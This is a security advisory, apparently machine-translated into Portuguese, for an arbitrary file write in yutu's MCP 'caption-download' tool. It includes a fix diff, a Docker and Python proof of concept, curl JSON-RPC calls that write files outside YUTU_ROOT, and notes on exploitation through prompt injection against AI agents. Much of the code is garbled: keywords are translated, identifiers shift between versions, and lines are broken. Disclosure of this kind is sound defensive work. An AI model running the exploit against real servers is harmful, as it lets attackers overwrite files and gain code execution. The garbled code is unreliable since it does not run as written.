Escreva arquivo arbitrário através da ferramenta MCP `caption-download`. A ferramenta MCP `caption-download` no yutu passa o parâmetro `file' fornecido pelo chamador diretamente para `os.Create()` em `pkg/caption/caption.go: 272 ` sem validação de caminho, canonização ou confinamento ao limite `pkg.Root` (`YUTU_ROOT`). Um atacante local — ou qualquer processo capaz de alcançar o servidor MCP HTTP — pode escrever conteúdo arbitrário para qualquer caminho que possa ser escrito pelo processo yutu, totalmente fora do diretório de trabalho pretendido. Esta é uma vulnerabilidade de gravidade **High** (CVSS) 7.7 ) com alta integridade e impacto de disponibilidade. yutu usa `pkg.Root` (após Go 1.24 's `os.OpenRoot`) para restringir todo o E/ O do arquivo para a pasta `YUTU_ROOT'. Cada outro caminho de gravação de arquivos de legendas honra este limite: Método Encerrado?Empregados com o método de filtragem. 109 `)). Sim............................................................................................................................. 193 ")). Sim............................................................................................................................. 272 `)). ** Não**. `Caption.Download()` é o único aberrante. O campo `file` controlado pelo atacante flui sem restrição do esquema de entrada da ferramenta MCP para uma chamada em bruto `os.Create()`: 1. ** Fonte** — `cmd/caption/download.go: 32 – 41 `: `downloadInSchema` declara `file` como um campo `string` necessário no esquema de entrada do MCP JSON. 2. **Binding** — `cmd/ caption/download.go: 61 – 64 `: `cobramcp.GenToolHandler` mapeia entrada MCP para `input.Download(writer)`. 3. **Bolso** — ` pkg/ legenda/ legenda.go: 272 `: `os.Create( c. File)` cria ou trunca o arquivo no caminho fornecido pelo atacante. 4. **Escreva** — `pkg/caption/caption.go: 280 `: `file.Write(body)` escreve os bytes de legenda baixados para esse caminho.
```go // cmd/caption/download.go var downloadInSchema = &jsonschema.Schema{ Requerido: []string{"ids", "file"}, // linha 34 //... "archivo": {Tipo: "string", Descrição: arquivoUsage}, // linha 40 } // cobramcp.GenToolHandler liga MCP → hander (linha 61 - 64 ) cobramcp.GenToolHandler(downloadTool, func(input legenda.Legenda, scriptio.Writer) erro { retorno entrada.Download(writer) }) // pkg/caption/caption.go corpo, err:= io.LeiaAll( res.Corpo) // linha 267 arquivo, err:= os.Create( c.Archive) // linha 272 ← lavatório não confinado //... _, err = arquivo.Escrever( corpo) // linha 280 ``` A ferramenta `caption-download` é registrada por padrão em `init()` em `cmd/caption/download.go: 52 `, e o servidor MCP HTTP começa com `--auth` padrão para `false` (`cmd/ mcp.go: 42 `), significando que não é necessária nenhuma autenticação para os chamadores HTTP locais. **Resolução recomendada:**. ```diff --- a/pkg/caption/caption.go +++ b/pkg/caption/caption.go @@ - arquivo, err:= os.Create(c.Archivo) + arquivo, err:= pkg.Root.OpenFile(c.Archivo, os.O_WRONLY.O_CREATEŞos.O_TRUNC, 0600 ) se err!= nul { erros de retorno.Junte-se( errDownloadCaption, err) } ```.
**Prerequisitos:** - yutu ` 0.0.0 - dev` / commit ` 351 c 99 d` - Válido `YUTU_CREDENTIAL` e `YUTU_CACHE_TOKEN` disponíveis - servidor MCP do yutu em execução no modo HTTP **Reprodução baseada em docker (não é necessária nenhuma credencial ao vivo):**. O PoC auto-contido constrói um binário que exerce `caption.Download()` diretamente dentro de um recipiente, com `YUTU_ ROOT=/tmp/yutu_safe_root` como o limite de confinamento. ```` bash # Do relatório workspace root: docker build -- no- cache -t yutu-vuln 001 -poc \ - f vuln- 001 /Dockerfile \ reporta/ mcp_ 49 _comer- orar-ai__yutu docker executar -- rm yutu- vuln 001 -poc ```. A saída esperada confirma: - `pkg.Root.Open("/tmp/poc-arbitrary-write.txt")` é corretamente rejeitada com `o caminho escapa do pai` (controle). - `caption.Download()` com `file='/tmp/poc-arbitrary-write.txt'` é bem-sucedida e cria um 79 -byte arquivo ** fora** `YUTU_ROOT` (explore).
** Reprodução do servidor MCP ao vivo:**. ````bash # Iniciar o servidor MCP HTTP (sem autunno por padrão) yutu mcp --mode http --port 8216 # Inicializar o curl da sessão -sD /tmp/yutu.headers \ -H 'Content- Type: application/json' \ -H 'Accept: application/json, text/ event- stream' \ 8216 / mcp \ - d '{"jsonrpc":" 2.0 ",,id": 1 "método": "inicializar", "params": {"protocoloVersão":" 2025 - 06 - 18 ",,"capacidades": {},"clientInfo": {"nome":"poc","versão":" 1 "}}} ' \ >/ tmp/ yutu. init SID=$(awk 'tolower($) 1 )=="mcp-session-id:"{print $ 2 }' /tmp/yutu.headers. # Exploit: write legenda to arbitrary path # Substituy CAPTION_ ID with a legenda id accessible by the configurated token curl -s \ -H 'Content-Type: app/json' \ -H 'Accept: app/json, text/ event- stream' \ ${SID:+-H "Mcp- Session- Id: $SID"} \ 8216 / mcp \ - d '{"jsonrpc":" 2.0 ",,id": 2,",método":"todos/chamada","params":{"nome":"subtitulação-descarregar","argumentos":{"ids":["CAPTION_ID"],"archivo":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}' # Verify file foi escrito fora do teste YUTU_ROOT -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srt ```.
Esta é uma vulnerabilidade **Arbitrary File Write**. Qualquer principal que possa invocar a ferramenta MCP `subtitulação- download` — incluindo um processo local não autenticado quando o servidor MCP HTTP estiver executando com configurações padrão (`- auth false`) — poderá escrever bytes controlados por atacante para qualquer caminho de arquivo acessível ao processo yutu. Isto evita o limite de confinamento `YUTU_ROOT` que todas as outras operações de gravação de arquivos em respeito ao yutu. **Conseqüências potenciais incluem:** - Sobreposição de binários de aplicativos, arquivos de configuração ou scripts de inicialização de shell para alcançar a execução de código persistente. - Corrupção de arquivos de log ou arquivos de banco de dados para causar negação de serviço. - Escrever arquivos acessíveis à web em implantações onde o yutu é executado ao lado de um servidor web. - Exploitável através de injeção rápida em um agente de IA que usa o servidor MCP do yutu, uma vez que o parâmetro `file` é totalmente controlado pelo atacante sem guarda- guardrails. Partes impactadas: operadores executando o yutu como um servidor MCP (modo HTTP, configuração padrão), condutores de agentes de IA que expõem `capitação- download' a entrada não confiada, e qualquer usuário cuja máquina hospede um processo de yutu que um atacante local possa alcançar. ### Reprodução de artefatos. ````Dockerfile # VULN- 001 Dockerfile # Construir con: reports/mcp_ 49 _ come- ora- ai__ yutu/ # repo/ - o repositório de yutu clonado # vuln- 001 / - este espaço de trabalho (Dockerfile, poc_main.go).
DESDE gólaga: 1.26 AS WORKDIR /build do construtor. # Copiar a árvore fonte do yutu (fornece os pacotes vulneráveis) COPY repo/. # Injetar PoC como um novo pacote de comandos (não modifica a fonte existente) RUN mkdir -p cmd/poc_exploit COPY vuln- 001 /poc_main.go cmd/poc_exploit/main.go # Construir o binário PoC (estático, não é necessário CGO) RUN CGO_ENABLED= 0 Vá construir - o / poc./cmd/ poc_ exploit/ - Estágio de execução - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 12 - slim.
COPY -- from= builder /poc /poc. # YUTU_ROOT define o limite de confinamento pkg.Root. # O PoC escreve para /tmp/poc- arbitrary-write.txt que está fora desta raiz, # demonstrando o bypass os. Create. ENV YUTU_ROOT=/tmp/yutu_safe_root RUN mkdir - p /tmp/yutu_safe_root. ```python #!/usr/bin/env python 3 VULN- 001 Exploit do PoC Runner: Escreva Arquivo Arbitraria através do download de legenda MCP (CWE- 73 ) Alvo: pkg/ legenda/ legenda.go: 272 -- os.Create( c. File) sem confinamento pkg.Root Uso: python 3 sys de importação de subprocessos de importação de poc.py """ VULN_DIR = os.path.dirname(os.path.abspath(___file__)) CONTEXT_DIR = os.path.dirname(VULN_DIR) # mcp_ 49 _ come- ora- ai__ yutu/ DOCKERFILE = os.path. join(VULN_ DIR, "Dockerfile") IMAGEM_ NAME = "yutu- vuln 001 -poc".
def run(cmd, check=False, **kwargs): print("$ " + ". join(str(a) para um em cmd)) result = subprocess.run(cmd, =True, **kwargs) devolve o resultado def main(): print("=" * 70 ) print("VULN- 001: Escreva Arquivo Arbitraria através de legenda MCP- download ") print("CWE- 73. pkg/ legenda/ legenda.go: 272. os.Create( c.Archivo)") print("=" * 70 ) # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1 ] Construir imagem Docker...") resultado = executar(build_cmd, capture_output=False) se resultado.returncode!= 0: print("\n[FAIL] Docker build falhado.", file=sys.stderr) sys. exit( 1 ) # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2 ] Executando o container PoC...") resultado = run(run_cmd, capture_output=True).
stdout = resultado.stdout ou "" stderr = resultado.stderr ou "" print(stdout, end="") se stderr: print(stderr, end="), file=sys.stderr) Veredicto: o resultado foi passado. 0 e "VULNERABILIDADE CONFIRMADA" em stdout e "PASS" em stdout e "os.Create bypass pkg.Root" em stdout ) se for passado: print("\n[RESULTAR] PASS – vulnerabilidade reproduzido dinamicamente.") ou: print(f"\n[RESULTAR] FALHO – código de saída do recipiente {result.returncode}.", file=sys.stderr) sys.exit( 1 ) se __nom___ == "__main__": main() ```. Registro de aconselhamento: GHSA- 2 c 7 f- fxww- 6 w 6 c. Identificadores relacionados: CVE- 2026 - 50158.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 14 T 19: 34: 47.000 Z e lista a sua última modificação como 2026 - 07 - 14 T 19: 34: 47.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H. Software afetado e informações de versão: Vá pacote github.com/eat-pray-ai/yutu — ECOSISTEM: introduzido 0, corrigido 0.10.9 - dev 1. Classificação e evidência: identificadores de fraqueza CWE- 73. O registro contém 4 suporte de referências nestes tipos: WEB, PACKAGE.